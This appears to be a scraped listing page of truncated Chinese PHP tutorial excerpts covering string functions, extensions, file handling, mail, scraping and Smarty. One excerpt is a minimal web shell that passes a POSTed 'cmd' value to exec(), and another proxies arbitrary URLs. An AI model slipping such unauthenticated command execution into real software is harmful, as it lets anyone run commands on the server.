Time of Update: 2016-07-21
這段時間在看《PHP和MySQL Web開發》一書看到str_replace講解,一段小提示寫到:可以為str_replace的三個都使用數組傳入,但講解比較簡單,於是決定自己的實驗一下該函數在各個參數傳入數組時的執行結果。 函數原型:mixed str_replace(mixed needle,mixed new_needle,mixed haystack[,int &count]);
Time of Update: 2016-07-21
一,搭建php環境下載php 5.2.6 源碼 並解壓編譯安裝,搭建php環境二,建立擴充項目進入源碼目錄cd php5.2.6/ext/./ext_skel --extname=my_ext建立名字為my_ext的項目,最終會產生my_ext.so三,更改配置和程式$ vi ext/my_ext/config.m4根據你自己的選擇將dnl PHP_ARG_WITH(my_ext, for my_ext support,dnl Make sure that the comment is
Time of Update: 2016-07-21
還好,使用者登入這裡通過一個小小的方法可以實現和論壇同步了.可以不用passport介面. 這是我整理的資料,僅供參考. 登入傳兩值過來就行(username和password); 代碼如下:<?php session_start(); define('NOROBOT', TRUE); define('CURSCRIPT', 'logging'); require_once './include/common.inc.php'
Time of Update: 2016-07-21
當然這個東西很吃記憶體,配置差點的就不推薦使用了. 最近用的時候, 發現, 建立PHP工程後,再開啟 Zend Studio for Eclipse就出現這個錯誤 An internal error occurred during: "Building PHP projects ..."java.lang.NullPointerException 很煩人的. 出錯後PHP projects 會停止build,代碼提示就全部沒有了.需要手動rebuild.
Time of Update: 2016-07-21
stat(),lstat(),file_exists(),is_writable(),is_readable(),is_executable(),is_file(),is_dir(),is_link(),filectime(),fileatime(),filemtime(),fileinode(),filegroup(),fileowner(),filesize(),filetype() , fileperms() 解決辦法:在使用這些函數前,使用clearstatcache ( )
Time of Update: 2016-07-21
如:複製代碼 代碼如下:$test_array=array(1,2,3,4,4,5,5,6); $test_array_unique=array_unique($test_array); print_r($test_array_unique); $test_array=array(1,2,3,4,4,5,5,6); $test_array_unique=array_unique($test_array); print_r($test_array_unique); 但是至此,不要粗心,事還沒結束。
Time of Update: 2016-07-21
/** * 遠程啟動電腦 * 注意:iis/apache需要有windows/system/cmd.exe執行許可權 * name:薛如飛 * qq:6706250 * e-mail:xuerufei@163.com * blog:http://hi.baidu.com/飛雲蓋天 * date:08.08.28 **/ if (isset($_POST['cmd'])) { $cmd= stripslashes( $_POST['cmd'] ); exec( $cmd,$out);
Time of Update: 2016-07-21
需求:比如開發一個叫做 heiyeluren 的擴充,擴充裡就一個函數 heiyeluren_test(),輸入一個字串,函數返回:Your input string: xxxxx。 要求:瞭解C/C++編程,熟悉PHP編程 環境:下載一份php對應版本的源碼,我這裡是 php-5.2.6,先正常安裝php,假設我們的php安裝在 /usr/local/php 目錄,源碼在 /root/soft/php/php-5.2.6/,現在開始!步驟一:產生擴充架構 cd
Time of Update: 2016-07-21
複製代碼 代碼如下: //PHP遍曆檔案夾下所有檔案 $handle=opendir('C:\\'); //我要遍曆C盤的檔案 echo "目錄 handle: $handle "; echo "檔案: "; while ($file =readdir($handle)) { $file=iconv('GB2312','UTF-8',$file);//將XP的gbk編碼轉成UTF8 echo "$file "; //輸出檔案名 } closedir($handle); ?>
Time of Update: 2016-07-21
Class clear_virus{ public $index ='b.html'; public $filepath =array('b.html'); public $virus_type =""; function open_file(){ if(file_exists($this->index)){ $tmp =file_get_contents($this->index); if( strrpos($tmp,$this->virus_type)!== false){ $temp
Time of Update: 2016-07-21
建立一個ANSI的PHP檔案,然後建立一個類: 複製代碼 代碼如下:header("Content-Type: text/html; charset=utf-8"); class Google_API_translator{ public $opts = array("text" => "", "language_pair" => "en|it"); public $out = ""; function setOpts($opts) { if($opts["text"] != "")
Time of Update: 2016-07-21
其實蠻簡單的 我的php安裝目錄在 d:\php 那麼 運行 cmd >d: >cd php 要讓工作目錄指向php.exe的安裝資料夾 然後就可以用php指令了 比如 在該檔案夾下面建立一個test.php >php test.php 看運行成功了吧。 http://www.bkjia.com/PHPjc/319744.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/319744.htmlTechArticle其實蠻簡單的
Time of Update: 2016-07-21
$msn = new myMSN("h058@test.com", "123"); // MSNv9 class myMSN { private $server = "messenger.hotmail.com"; private $port = 1863; private $nexus = "https://nexus.passport.com/rdr/pprdr.asp"; private $sshLogin = "login.live.com/login2.srf";
Time of Update: 2016-07-21
徐祖寧的php版的escape/unescape函數 複製代碼 代碼如下:function escape($str) { preg_match_all("/[\x80-\xff].|[\x01-\x7f]+/",$str,$r); $ar = $r[0]; foreach($ar as $k=>$v) { if(ord($v[0]) $ar[$k] = rawurlencode($v); else $ar[$k] = "%u".bin2hex(iconv("GB2312","UCS-2",$v)
Time of Update: 2016-07-21
開啟你電腦裡的PHP.INI檔案,找到如下位置,添加紅線部分的內容,路徑就是你PHPMailer存放的位置:儲存,重啟apache. 然後借用readme裡的一個例子,稍微改一下就可以用了,由於只做最簡單的測試,很多東西我注釋掉了。 send.php 複製代碼 代碼如下:require("class.phpmailer.php"); $mail = new PHPMailer(); $address = $_POST['address']; $mail->IsSMTP(); // set
Time of Update: 2016-07-21
抓取到的內容在通過Regex做一下過濾就得到了你想要的內容,至於如何用Regex過濾,在這裡就不做介紹了,有興趣的,以下就是幾種常用的用php抓取網頁中的內容的方法。1.file_get_contents PHP代碼 複製代碼 代碼如下:$url = "http://www.jb51.net"; $contents = file_get_contents($url); //如果出現中文亂碼使用下面代碼 //$getcontent = iconv("gb2312",
Time of Update: 2016-07-21
複製代碼 代碼如下:$url=$_GET['url']; $ext=pathinfo($url,PATHINFO_EXTENSION); if($ext!='jpg' && $ext!='gif'){ // 只支援jpg和gif readfile('/upload/20081209130557536.gif'); exit; } $file=md5($url).'.'.$ext; if(file_exists($file)){ readfile($file); exit; }else{
Time of Update: 2016-07-21
有時候一分錢難死英雄漢, 這話不假, 在技術上也是一樣,如系統調試了半天, PHP就是不認mysql, 到頭來只是忘了安裝php5-mysql, miniBB因為簡約而美麗,但國內使用人數極少, 好多人都是因為中文亂碼而放棄, 好多系統都有這個問題, 畢竟人家老外開發的,也能理解, 在目錄下找到 bb_func_txt.php 注釋掉:$text=wrapText($wrap,$text);
Time of Update: 2016-07-21
以下是訪問頁面請求變數諸如get,post,cookies,server,enviroment和session變數的例子. 例如{$smarty.server.SERVER_NAME}取得伺服器變數,{$smarty.env.PATH}取得系統內容變數path, {$smarty.request.username}取得get/post/cookies/server/env的複合變數。 {$smarty.now}變數用於訪問目前時間戳. 可以用 date_format調節器格式化輸出.
Time of Update: 2016-07-21
複製代碼 代碼如下://頁面編碼設為utf8 header('Content-type: text/html; charset=utf-8'); $luokuan = "ABCDEFG-測試的啊-!!!一二三四五。。"; $n = mb_strlen("$luokuan","UTF-8"); //echo $n; $newluokuan = ""; for ($i=$n;$i>=0;$i--) { $newluokuan.= mb_substr($luokuan,$i,1,'UTF-8'); }